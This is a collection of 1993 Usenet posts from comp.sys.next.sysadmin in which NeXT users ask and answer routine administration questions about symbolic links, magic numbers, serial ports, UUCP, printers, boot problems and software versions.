Newsgroups: comp.sys.next.sysadmin From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: Next equiv. of Sun's /etc/magic? Message-ID: <1993Jun8.040842.22040@csus.edu> Sender: news@csus.edu Organization: San Francisco State University References: <1uujvq$hjd@chronicle.parcplace.com> Date: Tue, 8 Jun 1993 04:08:42 GMT In article <1uujvq$hjd@chronicle.parcplace.com> steveh@ParcPlace.COM (Steven Heacock) writes: >Does anyone know what the NeXT equivilent of of /etc/magic (on Sun) is? NeXT's file(1) is not user-extensible. >I'm trying to find the hex codes for NeXT apps that live on Sun >filesystems so I can tell what's a Next executable and vice versa. On the Sun side, you could try something like 0 long 0xfeedface NeXT >4 long 6 m68k >4 long 14 sparc >12 long 1 relocatable object file >12 long 2 demand paged executable file >12 long 3 fixed VM shared library file >12 long 4 core file >12 long 5 preloaded executable file 0 long 0xcefaedfe byte-swapped NeXT >4 long 0x07000000 i386 >12 long 0x01000000 relocatable object file >12 long 0x02000000 demand paged executable file >12 long 0x03000000 fixed VM shared library file >12 long 0x04000000 core file >12 long 0x05000000 preloaded executable file 0 long 0xcafebabe NeXT multi-architecture binary Improving upon this is left as an exercise to the reader. :-) -=EPS=-
Newsgroups: comp.sys.next.sysadmin From: iwelch@agsm.ucla.edu (Ivo Welch) Subject: News Setup Message-ID: <1993Jun7.182407.727@mic.ucla.edu> Organization: UCLA, Anderson Graduate School Of Management Date: 7 Jun 93 18:24:07 PDT I plan to set up a news feed to my NeXT if it is not too much trouble. Has someone done this? Question: Is INN better/easier to install than c-news/NNTP? If there are NeXT specific mods, where do I find them? /ivo
Newsgroups: comp.sys.next.sysadmin From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: Can you make a dynamic sumbolic link to $HOME? Message-ID: <1993Jun8.042401.22801@csus.edu> Sender: news@csus.edu Organization: San Francisco State University References: <1993Jun7.173839.20829@linus.mitre.org> <68279@mimsy.umd.edu> Date: Tue, 8 Jun 1993 04:24:01 GMT In article <68279@mimsy.umd.edu> alex@cs.umd.edu (Alex Blakemore) writes: >In article <1993Jun7.173839.20829@linus.mitre.org> jblue@mitre.org (Jason D. Blue) writes: >> I want to create a link that will point to a user's home directory. But >> the link needs to point to a different location for each user that >> accesses it. I.e. a link to $HOME, but where $HOME is not interpreted >> until a user tries to access the link >> Is this possible? No. >I don't know of a straightforward way to do this in vanilla BSD, >but as a historical note - this is one of the cool things you could do >in Apollo's Domain OS. > >A symbolic link could include a symbol reference like >/xxx/yyy/$(blah)/zzz where $blah was evaluated when the link was traversed. Actually, NeXT has a way to do this--they're called metalinks. If you look at your root directory on Black Hardware you'll see /mach linked to $BOOTFILE. As distributed, this is the only special name recognized, but a Loadable Kernel Server could extend this. See <bsd/sys/metalink.h> for details. The reason the answer to Jason's question is "no" is that the substitution has to be known to the kernel, and "user's home directory" is not a meaningful concept in that context. >Lets hope NEXT doesnt go the way of Apollo. Apollo is dead--no new versions of DOMAIN are being produced. >Both had gold plated headquarters and both depended on HP to an extent >for their salvation. Both screwed up their European marketing. -=EPS=-
Newsgroups: comp.sys.next.sysadmin From: tabs@netcom.com (Network Account) Subject: Printer down - HELP Message-ID: <tabsC8AGJC.2KM@netcom.com> Followup-To: comp.next.miscellaneous Organization: Netcom Online Communications Services (408-241-9760 login: guest) Date: Tue, 8 Jun 1993 05:57:11 GMT Help! My NeXT printer is down again. I am running 3.0 and I committed the sin of powering the printer off when the machine was off. Any print command from any application says: " Application could not connect to printer daemon" I had the problem before and it went away when I loaded the 3.0 using buildDisk. But it is back now and I have tried deleting printer entry from Net Info and rebooting and a few other things. Any suggestions welcome -- tabs Please send your responses to tabs@netcom.com
Newsgroups: comp.sys.next.sysadmin From: gordie@cyclesoft.com (Gordie Freedman) Subject: Re: Can you make a dynamic symbolic link to $HOME? Message-ID: <1993Jun8.072602.2031@netcom.com> Sender: gordie@netcom.com Organization: Cyclesoft Media Works References: <1993Jun7.173839.20829@linus.mitre.org> Date: Tue, 8 Jun 1993 07:26:02 GMT In article <1993Jun7.173839.20829@linus.mitre.org> jblue@ocotillo.mitre.org (Jason D. Blue) writes: > > > Wierd/tough question of the day: > > I want to create a link that will point to a user's home directory. But > the link needs to point to a different location for each user that > accesses it. I.e. a link to $HOME, but where $HOME is not interpreted > until a user tries to access the link, and then it will point to that > user's home directory. Easy, at least if you are using csh or a variant that understands $HOME: (The trick is to type \$HOME, the \ escapes the $) % ln -s \$HOME /home % ls -alsx /home 0 lrwxrwxrwx 1 gordie 5 Jun 7 23:21 home -> $HOME I did a "cd /home" logged in as different users, and in each case it went to the user's specific home directory. Look at /mach on 3.0 systems - it is linked to $BOOTFILE ... -- >>> Gordie Freedman -> gordie@cyclesoft.com NeXTMail Yes! >>> Thou shalt not inline functions more complicated than 20
Newsgroups: comp.sys.next.sysadmin From: bnh@active (Brian Hess) Subject: Re: UUCP NS/FIP Message-ID: <1993Jun8.065527.8382@nntpxfer.psi.com> Sender: news@nntpxfer.psi.com Organization: Performance Systems Int'l References: <S78DBIUM@gwdu03.gwdg.de> Date: Tue, 8 Jun 1993 06:55:27 GMT mzeller@gwdu03.gwdg.de (Meinrad Zeller) writes: > Steven Kornreich (glen@netcom.com) wrote: > : I am triing to setup UUCP on NS/FIP and I am getting an error message > : "CANT OPEN cua" which is the port I have my modem connected to. I can "tip" > : my modem fine. Any ideas??? > > On the black hardware you had to change the permissions to rw- for group > and other users. I guess under NSI its the same. > Meinrad No, it appears to be worse. The serial device entries in /dev are created on-the-fly by the driver software when it is loaded at boot time. And the permissions are always reset! I fixed it the old-fashioned way by adding a "chmod 666 /dev/cu*" into my rc.local file. Anybody know if there is a better, more NeXT-ish way to accomplish this? It *looks* like it might be possible to modify /usr/Devices/SerialPorts.config/Instance0.table and change the line that says "Post-Load = PostLoad" to be "Post-Load=YourProgramName", then write a little Unix program that first exec's PostLoad, then does the chmod's. But I haven't gotten that adventurous. (Besides, this adds yet another invisible layer of junk to something that's already buried deep.) Ideas? Brian bnh@active.com
From: goosen@cs.uct.ac.za (Henk Goosen) Newsgroups: comp.sys.next.sysadmin Subject: recovering from disk crash Summary: how do I recover? Keywords: disk crash, build disk Message-ID: <goosen.739528576@sun-1> Date: 8 Jun 93 08:36:16 GMT Article-I.D.: sun-1.goosen.739528576 Sender: news@cs.uct.ac.za (news) Organization: Computer Science Department, University of Cape Town I'm trying to recover from a crash of the internal drive on a NeXTstation. The floppy drive and the external hard disk is working fine. I have a bootable floppy with a few basic commands and I can boot the system in single user mode. I'd like to configure the external hard drive to serve as the boot device, and then restore the file system from tape (I have a DAT drive with dump files for doing this). I'm having trouble getting the system to boot from the external drive. Using "disk", I initialized the external drive and wrote the boot block. I then copied (using cp) all the files and directories from the boot floppy onto the external drive (mounted under /mnt), then I unmount it and try to do a "b sd(1,0,0)sdmach -s". It seems to work fine at first, it seems to load the kernel, it finds all the devices, but then fails when it tries to read "/etc/mach_init" with an error 20. It next tries to read "/etc/init" which also fails with the same error, and then spirals into various traps etc. I tried this using both a 2.2 and 3.0 kernel, with the same result (writing the appropriate boot block for each kernel). Both files (/etc/init and /etc/mach_init) seem to be there and OK. However, on the boot floppy, /etc/mach_init is a symbolic link to "../../usr/etc/mach_init". Same for /etc/init, it also points to "../../usr/etc/init". For some or other reason I can't get exactly the same links onto the external drive but should that matter? I'd much appreciate any help. Thanks Henk Goosen goosen@cs.uct.ac.za Computer Science Department, University of Cape Town
Newsgroups: comp.sys.next.sysadmin From: jblue@ocotillo.mitre.org (Jason D. Blue) Subject: Re: Can you make a dynamic symbolic link to $HOME? Message-ID: <1993Jun8.124118.24754@linus.mitre.org> Keywords: DAMN! Sender: news@linus.mitre.org (News Service) Organization: The MITRE Corporation References: <1993Jun8.072602.2031@netcom.com> Date: Tue, 8 Jun 1993 12:41:18 GMT In article <1993Jun8.072602.2031@netcom.com> gordie@cyclesoft.com (Gordie Freedman) writes: > In article <1993Jun7.173839.20829@linus.mitre.org> jblue@ocotillo.mitre.org > (Jason D. Blue) writes: > > > > > > Wierd/tough question of the day: > > > > I want to create a link that will point to a user's home directory. But > > the link needs to point to a different location for each user that > > accesses it. I.e. a link to $HOME, but where $HOME is not interpreted > > until a user tries to access the link, and then it will point to that > > user's home directory. > > Easy, at least if you are using csh or a variant that understands $HOME: > (The trick is to type \$HOME, the \ escapes the $) > > % ln -s \$HOME /home > % ls -alsx /home > 0 lrwxrwxrwx 1 gordie 5 Jun 7 23:21 home -> $HOME > > I did a "cd /home" logged in as different users, and in each case it went to > the user's specific home directory. > > Look at /mach on 3.0 systems - it is linked to $BOOTFILE ... > -- > >>> Gordie Freedman -> gordie@cyclesoft.com NeXTMail Yes! > >>> Thou shalt not inline functions more complicated than 20 AUGH!!!! I tried "ln -s \$HOME /tmp/home" BEFORE I posted the note. Each time I tried to list the contents of it (i.e. "ls /tmp/home/") I'd get a message that "/tmp/home/ not found". I didn't try to just cd into it. Thanks for the pointer, Gordie. FYI - The reason I needed it was to create a link to the user's home directory within the ExecutorVolume (Executor = Macintosh Emulator) so that any user can use it to get to their home directory without having to treverse Upwords and then down thru the Net directory - Executor tries to list the contents of every file it encounters, so it takes 1 to 5 minutes for it to finish cycling through the Net directory. Unfortunetly, Executor will not display the link I created - probably because it cannot list the contents (same error as I described in the previous paragraph?). -- Jason D. Blue NeXT Network and Systems Administrator The MITRE Corporation, McLean, VA jblue@mitre.org (NeXT Mail Encouraged!) Geek code 0.3: GCS/M d-/d++ p c++ l m+ s/++ !g w+ t+ r x+
From: edbson@sionext.uio.no (Stein Onsrud) Newsgroups: comp.sys.next.sysadmin Subject: PC NFSD v 2.0 Date: 8 Jun 1993 13:58:35 GMT Organization: University of Oslo Message-ID: <1v25ub$3ug@hermod.uio.no> Hello Have anyone out there compiled pcnfsd v2.0 successfully on the NeXT. We have some problems with printers on the PC clients running PCTCP v 2.2, and our PCTCP vendor says pcnfsd v2.0 will fix this. I have got the source code for v2.0 dated August 18 1992, but it will not compile. Stein Onsrud SiO Data Norway
From: gisli@liapunov.eecs.umich.edu (Gisli Ottarsson) Newsgroups: comp.sys.next.sysadmin Subject: Re: Can you make a dynamic symbolic link to $HOME? Date: 8 Jun 93 09:50:57 Organization: University of Michigan Distribution: usa Message-ID: <GISLI.93Jun8095057@liapunov.eecs.umich.edu> References: <1993Jun7.173839.20829@linus.mitre.org> <1993Jun8.072602.2031@netcom.com> In-reply-to: gordie@cyclesoft.com's message of Tue, 8 Jun 1993 07:26:02 GMT >>>>> In article <1993Jun8.072602.2031@netcom.com>, gordie@cyclesoft.com (Gordie Freedman) writes: > > I want to create a link that will point to a user's home directory. > GF> Easy, at least if you are using csh or a variant that understands $HOME: GF> (The trick is to type \$HOME, the \ escapes the $) GF> % ln -s \$HOME /home GF> % ls -alsx /home GF> 0 lrwxrwxrwx 1 gordie 5 Jun 7 23:21 home -> $HOME GF> I did a "cd /home" logged in as different users, and in each GF> case it went to the user's specific home directory. This is indeed true. I tried this in a zsh however, and that didn't work. On the other hand 'cd $HOME' works just fine. Should this be fixed in zsh, cedman? Looks like a useful thing. Gisli -- ............................................................................... Gisli Ottarsson Delenda est Carthago. University of Michigan gisli@engin.umich.edu ...............................................................................
Newsgroups: comp.sys.next.sysadmin From: cedman@princeton.edu (Carl Edman) Subject: Re: Can you make a dynamic symbolic link to $HOME? In-Reply-To: gisli@liapunov.eecs.umich.edu's message of 8 Jun 93 09:50:57 To: gisli@liapunov.eecs.umich.edu (Gisli Ottarsson) Message-ID: <CEDMAN.93Jun8113534@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <1993Jun7.173839.20829@linus.mitre.org> <1993Jun8.072602.2031@netcom.com> <GISLI.93Jun8095057@liapunov.eecs.umich.edu> Distribution: usa Date: Tue, 8 Jun 1993 15:35:34 GMT In article <GISLI.93Jun8095057@liapunov.eecs.umich.edu> gisli@liapunov.eecs.umich.edu (Gisli Ottarsson) writes: >>>>> In article <1993Jun8.072602.2031@netcom.com>, gordie@cyclesoft.com (Gordie Freedman) writes: > > I want to create a link that will point to a user's home > directory. > GF> Easy, at least if you are using csh or a variant that understands $HOME: GF> (The trick is to type \$HOME, the \ escapes the $) GF> % ln -s \$HOME /home GF> % ls -alsx /home GF> 0 lrwxrwxrwx 1 gordie 5 Jun 7 23:21 home -> $HOME GF> I did a "cd /home" logged in as different users, and in each GF> case it went to the user's specific home directory. This is indeed true. I tried this in a zsh however, and that didn't work. On the other hand 'cd $HOME' works just fine. Should this be fixed in zsh, cedman? Looks like a useful thing. EPS is quite right when he says that there is no support in the NeXT kernel for 'dynamic links' using environment variables (though he is not when he says that the kernel couldn't or shouldn't get to environment variables -- many kernels do). What there is, is a hack in csh which causes it to check to see if the argument to 'cd' happens to be a symbolic link and if so to do an environment expansion on its contents. That's neat but of limited usefulness. No other program will understand such links, nor will csh itself unless the 'dynamic link' happens to be the last element of the file path. File Viewer will not correctly follow such links. In addition, '$' is perfectly valid as a character in directory names and so are links to such directories. Csh will get confused by them. So, yes, one could add this feature to zsh, but it wouldn't really be very useful. If it belongs anywhere it belongs in the kernel so that all user programs (including zsh) would automatically use it. Adding it should be a nice exercise for a budding kernel hacker. Carl Edman
From: grant@Manticore.COM (Grant J. Munsey) Newsgroups: comp.sys.next.sysadmin Subject: UUCP retry time questions Message-ID: <379@gouche.UUCP> Date: 8 Jun 93 16:32:30 GMT Sender: grant@gouche.UUCP Two questions on UUCP under NS3.0. 1) When uucico cannot connect to a dial out host it won't try let you try connecting again until a retry time is reached. Can that retry time be changed? 2) What I want to do is have uucico send all its queued mail once an hour. In the case where a machine cannot be reached I want uucico to retry that connection every 5 min. I can get the first part by using cron to issue a poll every hour. How do you get the second part? Thanks, ---- Grant Munsey, Mainticore, Inc., (408)252-1135, fax: (408)446-9355 grant@manticore.com or uunet!ub-gate!gouche!grant
Newsgroups: comp.sys.next.sysadmin From: faught@berserk.ssc.gov (Ed Faught) Subject: Re: HashTable count???? Message-ID: <1993Jun8.182253.8864@sunova.ssc.gov> Sender: usenet@sunova.ssc.gov (News Admin) Organization: Superconducting Super Collider Laboratory References: <1993Jun5.033305.1037@antigone.com> Date: Tue, 8 Jun 1993 18:22:53 GMT In article <1993Jun5.033305.1037@antigone.com> mross@antigone.com writes: > >The following message keeps popping up on our Console every now & then: > >*** HashTable: count differs after rehashing; probably indicates a broken >invariant: there are x and y such as isEqual(x, y) is TRUE but hash(x) != hash (y) > >What does this mean? We are running NS3.0 on an '040 Cube > It appears here occasionally while the machine is running FrameMaker. Are you? -- Ed_Faught@ssc.gov WA9WDM wouldn't dare to speak for the Superconducting Super Collider Laboratory
From: jfosback@darmok.uoregon.edu (Jason Fosback) Newsgroups: comp.sys.next.hardware,comp.sys.next.misc,comp.sys.next.sysadmin Subject: NS/FIP and ESDI hard drives? Date: 8 Jun 1993 19:09:42 GMT Organization: University of Oregon Network Services Message-ID: <1v2o5m$io3@pith.uoregon.edu> Everything I've seen regarding NeXTSTEP for Intel says that it's only supporting IDE and SCSI hard drives. Does this mean that it cirumvents the BIOS? Theoretically, if the drivers were going through the BIOS, we could use MFM, RLL, ESDI, *and* IDE hard drives. So, what's the story? My Priam ESDI hard drive would rock just about any SCSI hard drive, and it would be more than adequate to run NS. A lot of server-class machines have hard drives that are ESDI, and it would be nice if we didn't have to re-invest is new ones. Thanks. -jason _________________________________________________________________ Jason Fosback, User Support Analyst | No sir, I didn't like it ---- University of Oregon ---- | -R&S Internet: jfosback@oregon.uoregon.edu | Star Trek: NeXT mail: jfosback@darmok.uoregon.edu | The NeXT Generation...
From: bill@ganesha.cognet.ucla.edu (William Eldridge) Newsgroups: comp.sys.next.sysadmin Subject: 3.0 Appleshare with 3.1? Date: 8 Jun 1993 20:38:41 GMT Organization: UCLA Cognitive Science Research Program Message-ID: <1v2tch$cik@alamut.cognet.ucla.edu> Unlike others, I'm currently accessing a LaserWriter from my Next via Appleshare, and would like to with 3.1 as well. Will the installation clear out Appleshare, and is it possible to run the old Appleshare with 3.1? Thanks, Bill -- Bill Eldridge bill@cognet.ucla.edu *** He who remembers the past is condemned to misread it. *** - George Santana
Newsgroups: comp.sys.next.sysadmin From: anderson (Ken Anderson) Subject: Netware NFS name space problem Message-ID: <1993Jun8.190156.569@biztech.com> Keywords: next netware NFS Sender: news@biztech.com Organization: Biztech, Inc. Date: Tue, 8 Jun 1993 19:01:56 GMT Has anyone out there successfully used the NFS name space under netware? I'm currently running a 3.11 Netware server, and both black and white NeXTs running 3.1. The nuc.nlm nlm as well as the nfs.nam namespace are loaded, and NetWare is accessible from NEXTSTEP, but I can't create filenames of the NFS variety. Also, /etc/nfsusers and /etc/nfsgroup are populated as instructed. Any ideas? Ken Anderson anderson@biztech.com NeXTMail welcome
Newsgroups: comp.sys.next.sysadmin From: root@gbo.cern.ch (System Manager) Subject: Re: Using the internal for swapfile Message-ID: <1993Jun8.214143.3076@dxcern.cern.ch> Sender: news@dxcern.cern.ch (USENET News System) Organization: CERN European Lab for Particle Physics References: <1993Jun6.163042.2121@dxcern.cern.ch> Date: Tue, 8 Jun 1993 21:41:43 GMT In article <1993Jun6.163042.2121@dxcern.cern.ch> root@gbo.cern.ch > writes: > i.e: the preferred swapdisk is the internal one and is labeled Next_2.1; > the swapfile is 5 MBytes minimum, 40 Mbytes Maximum. The second swapdisk > is the internal one; it has a small swapfile: 0.5 Mbytes minimum, 5 Mbytes > maximum. I am replying to my own posting, as I realized having written the word "internal" twice. The correct sentence is: i.e: the preferred swapdisk is the internal one and is labeled Next_2.1; the swapfile is 5 MBytes minimum, 40 Mbytes Maximum. The second swapdisk is the external one; it has a small swapfile: 0.5 Mbytes minimum, 5 Mbytes maximum. Gian Franco Non-NeXT mail: gfranc@dxcern.cern.ch
From: Mark-Tarbell@suite.com Newsgroups: comp.sys.next.sysadmin Subject: autonfsmount dies! Date: 8 Jun 1993 22:30:23 GMT Organization: Suite Software Message-ID: <1v33tv$5ic@bilbo.suite.com> On both of two 3.0 systems connected via ethernet (a 2-node LAN), autonfsmount dies at boot time (also interactively), giving the error: autonfsmount: Can't get my address Each node is registered as a host on the other; telnet & ftp work fine (both to self & to other). NFSManager shows all ok. Any ideas? Mark-Tarbell@suite.com vely), giving the error: autonfsmount: Can't get my address Each node is registered as a host on the other; telnet & ftp work fine (both to self & to other). NFSManager sho
Newsgroups: comp.sys.next.sysadmin From: boconnor@andi.org (Bob O'Connor) Subject: Downloading Fonts to a Stand-alone Printer Message-ID: <C8C8F5.oA@nextsrv1.andi.org> Keywords: font download printer Sender: usenet@nextsrv1.andi.org (usenet) Organization: Association of NeXTSTEP Developers International Date: Wed, 9 Jun 1993 04:57:05 GMT Does the NeXT automatically download fonts with a document to a stand-alone TCP/IP printer? If not, is there a hack to do this (other than manually downloading them before each document)? Should/could I write a C Shell script that acts as a filter to automatically read the fonts included in a document and then invoke the fontdownloader program? If I do this, is there a way to query the printer at boot to determine the fonts currently installed in RAM, ROM or attached hard drive so as not to download duplicate fonts? Is there a better way that I haven't thought of? Many thanks in advance. Bob O'Connor boconnor@andi.org
Newsgroups: comp.sys.next.sysadmin From: moran@alpine.lance.colostate.edu (Matthew Moran) Subject: Boot Problems... Please Help Sender: news@yuma.ACNS.ColoState.EDU (News Account) Message-ID: <Jun09.051029.23180@yuma.ACNS.ColoState.EDU> Date: Wed, 09 Jun 1993 05:10:29 GMT Organization: Colorado State University, Fort Collins, CO 80523 Greetings, Can anyone suggest possible solutions to the following problem: During the boot process the mounting of the root files system is not being recorded in /etc/mtab, therefore when /etc/rc.boot tries to issue the command "mount -o remount", it fails and the file system stays read only. I could not find any documentation that details what happens before rc.boot runs, but I assume the kernel initially mounts the file system and records the entry in /etc/mtab, or is that entry always there? Boot Example: .. Checking disks mount: "/" not found [various read only problems] [boot stuck] Console Errors: Software Version 3.0 (Hyper3B) Jun 7 17:04:46 Workspace: Cannot find root filesystem Jun 7 17:04:47 Workspace: Cannot mount device Jun 7 17:05:06 Workspace[159]: Error while querying for for device info at /Users/moran with devnum 1536 opening /usr/adm/lastlog: Bad file number opening /usr/adm/wtmp: Bad file number I have tried reinstalling 3.0, replacing /etc/mtab, manually editing the mtab to record the / mount and the vary last thing I need right now is to rebuild my whole gig disk!!!! One last note... I think this problem arose from an unclean shutdown? Any suggestions would be helpful + Thanks. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Matthew Moran Former Campus Consultant Student Lab Manager Colorado State University Engineering Network Services moran@longs.lance.colostate.edu
Newsgroups: comp.sys.next.sysadmin From: dlw@netcom.com (David L. Williams) Subject: Re: Sybase: Installing from NeXTSTEP 1.0 Disk Message-ID: <dlwC8CBD0.7L1@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) References: <C89yGJ.w5@csulb.edu> Date: Wed, 9 Jun 1993 06:00:36 GMT Mike Mahoney (mahoney@csulb.edu) wrote: : Does anyone know how I can install Sybase off of the NeXTSTEP 1.0 Disk? : I've got the disk, and I only need the exact procedure. : Direct e-mail would be extremely appreciated. : -mike more than that does anyone know how to get the upgrade of of the 1.0 sybase for NeXTSTEP that would work on 3.x? I bought a NeXTCUBE from Businessland 030 with 1.0 software and never upgraded it to an 040, I now have a nextstation as well and it would be nice to get sybase for the box if I am entitled to get it or buy it at a reasonable price. David Williams
Newsgroups: comp.sys.next.sysadmin From: m@BlueRose.com (M Carling) Subject: Re: News Setup Message-ID: <1993Jun8.160743.8953@BlueRose.com> Sender: m@BlueRose.com Organization: Blue Rose Systems, Inc. References: <1993Jun7.182407.727@mic.ucla.edu> Date: Tue, 8 Jun 1993 16:07:43 GMT In article <1993Jun7.182407.727@mic.ucla.edu> iwelch@agsm.ucla.edu (Ivo Welch) writes: > > I plan to set up a news feed to my NeXT if it is not too much trouble. Has > someone done this? > > Question: Is INN better/easier to install than c-news/NNTP? > > If there are NeXT specific mods, where do I find them? BANG has an installer .pkg for Cnews, preconfigured for NEXTSTEP. It's not the latest version of Cnews, but it's easy to set up. I can NeXTmail it if need be. M Carling President, Bay Area NeXT Group
Newsgroups: comp.sys.next.sysadmin From: thf@zelator.in-berlin.de (Thomas Funke) Subject: Re: Setting Kermit for ZyXEL Message-ID: <1993Jun8.140905.2559@gamelan> Sender: thomas@gamelan (thomas) Organization: Disorganization References: <1993Jun5.220408.13266@cs.ucla.edu> Date: Tue, 8 Jun 1993 14:09:05 GMT In article <1993Jun5.220408.13266@cs.ucla.edu> lange@lanai.cs.ucla.edu (Trent Lange) writes: > I've just gotten a ZyXEL U-1496E, which works great through communicae.app. > The 16.8K ZyXEL speed to another ZyXEL is a particularly nice improvement. > However, I'm having problems getting it to work with kermit. Here is the > setup I tried using for kermit with it (changing only the speed from the > setup that worked with my old Multitech 9600 baud modem): > > set line /dev/cua > set speed 19200 > set modem hayes > dial <X> > > It dials out, and then returns: > Failed ("RINGING") > > 1. You should use HW/Flow Control, thus use line /dev/cufa 2. dial from inside Kermit, thus do a 'connect' and then atdt8765432 -- ------------------------------------------------------------------ Thomas Funke ** Unix-Consultant ** thf@zelator.in-berlin.de The nice thing about standards is that there are so many of them to choose from. -- Andrew S. Tanenbaum
From: robinc@jhunix.hcf.jhu.edu (Robert Delucca) Newsgroups: comp.sys.next.sysadmin Subject: How Set up Laserjets? Date: 9 Jun 1993 09:11:37 -0400 Organization: Homewood Academic Computing, Johns Hopkins University, Baltimore, Md, USA Message-ID: <1v4ni9INNbhq@jhunix.hcf.jhu.edu> The FAQ doesn't contain enough info. I need pinouts for cable and ppd info (i.e. where to get it) plus any other info needed. Could someone either post or email how to do this from A to Z? Thanks Robert de Lucca email robinc@jhunix.hcf.jhu.edu
From: k0s8160@chenext1.tamu.edu (Kenji Seto) Newsgroups: comp.sys.next.sysadmin Subject: auto-logout Date: 9 Jun 1993 13:12:45 GMT Organization: Texas A&M University, College Station, TX Message-ID: <1v4nkd$imm@tamsun.tamu.edu> Greetings, I was wondering if anyone has developed software that would logout a user after so many minutes of inactivity. Thanks, -Kenji
From: max@Kolmogorov.gac.edu (Max Hailperin) Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin Subject: Best Fortress UPS to NeXT interfacing Date: 9 Jun 93 10:03:33 Organization: Gustavus Adolphus College, St. Peter, MN Message-ID: <MAX.93Jun9100333@Kolmogorov.gac.edu> I've submitted to the Purdue and OSU ftp archives a text file describing how to interface the Best Fortress series of UPSs to a NeXT serial port, for use with Best's "CheckUPS for Unix" software for graceful shutdown when the battery is low.
Newsgroups: comp.sys.next.sysadmin From: tpg@rchland.vnet.ibm.com (Terry Gliedt) Subject: Re: auto-logout Sender: news@rchland.ibm.com Message-ID: <1993Jun09.185005.31960@rchland.ibm.com> Date: Wed, 09 Jun 1993 18:50:05 GMT Disclaimer: This posting represents the poster's views, not necessarily those of IBM References: <1v4nkd$imm@tamsun.tamu.edu> Organization: IBM Rochester In article <1v4nkd$imm@tamsun.tamu.edu>, k0s8160@chenext1.tamu.edu (Kenji Seto) writes: |> |> Greetings, |> |> I was wondering if anyone has developed |> software that would logout a user after |> so many minutes of inactivity. |> There is a PD program called Untamo that works pretty well on BSD-ish systems that might meet your needs. Untamo is a locally developed daemon which periodically wakes up and logs off idle terminals; it also can deal with multiply-logged in users. It is configurable without recompilation, and features tunable parameters such as maximum allowed idle time, maximum allowable multiple logins, exemption lists, and so on. (Note: session limits do not work at the moment.) Please address correspondence concerning untamo to "doc" on this machine; the original author has left Purdue, but Craig Norborg (aka "doc") is reasonably familiar with the program. -- Rich Kulawiec, pucc-j!rsk, rsk@j.cc.purdue.edu, rsk@purdue-asc.arpa Cannot say if this will work, but it is worth a look.
From: rprice@cbnewsg.cb.att.com (rodney.price) Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin Subject: new libg++ under NS 3.0? Keywords: libg++ NS3.0 Message-ID: <C8DEK8.Hoq@cbfsb.cb.att.com> Date: 9 Jun 93 20:07:19 GMT Sender: news@cbfsb.cb.att.com Followup-To: poster Organization: AT&T I've just upgraded my non-turbo mono slab to NextStep 3.0, and I'd like to get libg++ installed again. I have a couple of questions, however. (1) The Developer documentation says that the new cc is gcc version 1.39.1, but doing cc -v gives "gcc version 1.93 (68k, MIT syntax)." Which is it? (2) If this is the mysterious v. 1.93 (I didn't know such a thing existed) can I use libg++ 2.3.1 with it? If it's really v. 1.39, then perhaps I'd be better off using libg++ 1.39.0. Opinions? (3) I seem to remember reading somewhere that NS 3.1 includes the new gcc 2.2.2 and also includes a current libg++ already compiled. Since this software is copy- lefted, presumably it's legal for me to copy it from someone. Will it work under NS 3.0, and can I ftp it from someplace over the Internet? I'd like to upgrade to NS 3.1, but I don't have the $$ right now. Thanks for your help. Rod Price rprice@physics.att.com
Newsgroups: comp.sys.next.sysadmin From: herrick@amd.com (charles) Subject: Re: Sybase: Installing from NeXTSTEP 1.0 Disk Message-ID: <1993Jun9.210617.5157@dvorak.amd.com> Followup-To: <herrick@auhp14.amd.com> Sender: Chuck Herrick Organization: Speak for myself only. References: <C89yGJ.w5@csulb.edu> <dlwC8CBD0.7L1@netcom.com> Date: Wed, 9 Jun 93 21:06:17 GMT In article <dlwC8CBD0.7L1@netcom.com> dlw@netcom.com (David L. Williams) writes: >Mike Mahoney (mahoney@csulb.edu) wrote: >: Does anyone know how I can install Sybase off of the NeXTSTEP 1.0 Disk? >: I've got the disk, and I only need the exact procedure. >: Direct e-mail would be extremely appreciated. >: -mike >more than that does anyone know how to get the upgrade of of the 1.0 sybase >for NeXTSTEP that would work on 3.x? I bought a NeXTCUBE from Businessland >030 with 1.0 software and never upgraded it to an 040, I now have a >nextstation as well and it would be nice to get sybase for the box if I am >entitled to get it or buy it at a reasonable price. > If you bought an upgrade from 1.0 to 2.X, you were automatically entitled to an upgrade of the Sybase, Mathematica and Lisp packages to versions that were compatible with NeXTSTEP 2.X, i.e. the packages were free, but you had to request them. I honestly can not remember if the upgrades had a time limit attached, but I bet 800-848-6398 would know. Cheers, Chuck Herrick -- Chuck Herrick <herrick@auhp14.amd.com> (512) 462-6248 (w) (512) 462-4812 (FAX) (512) 480-0757 (h) PO Box 18804 Austin, TX 78760-8804
Newsgroups: comp.sys.next.sysadmin From: ynakamur@malibu.sfu.ca (Yasunobu Nakamura) Subject: Fatal Crash Message-ID: <ynakamur.739665828@sfu.ca> Summary: unclean shut down when un-mounting floppy disk Keywords: fatal crash Sender: news@sfu.ca Organization: Simon Fraser University, Burnaby, B.C., Canada Date: Wed, 9 Jun 1993 22:43:48 GMT Greetings, Every once in a while when I eject my (internal) floppy disk, my machine suddenly shuts down and starts to reboot. This shutdown is unclean. This does not happen every time, and there is no know cause either. This crash could be fatal if I have many files open. Has this happened to anyone else? Any piece of information would be appreciated. Thank you. -> Mike -> e-mail: ynakamur@sfu.ca
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin From: bkr@drdhh.hanse.de (Bjoern Kriews) Subject: Micropolis 2112 with NeXTstation anyone ? Message-ID: <1993Jun9.231527.20604@drdhh.hanse.de> Summary: Does Micropolis 2112 work with NeXTstattion ? Keywords: Micropolis, Harddisk Organization: Digital Island Date: Wed, 9 Jun 1993 23:15:27 GMT Hi ! If anyone has any experience concerning the Micropolis 2112 disk (1050mb, 10ms) with a NeXTstation (this includes answers like: it works at all), please send me mail. If anyone used it with DrivePerformance, I'd like to see the results. Thanks a lot for your time, Bjoern -- bkr@drdhh.hanse.de - Bjoern Kriews - Stormsweg 6 - D-2000 Hamburg 76 - FRG
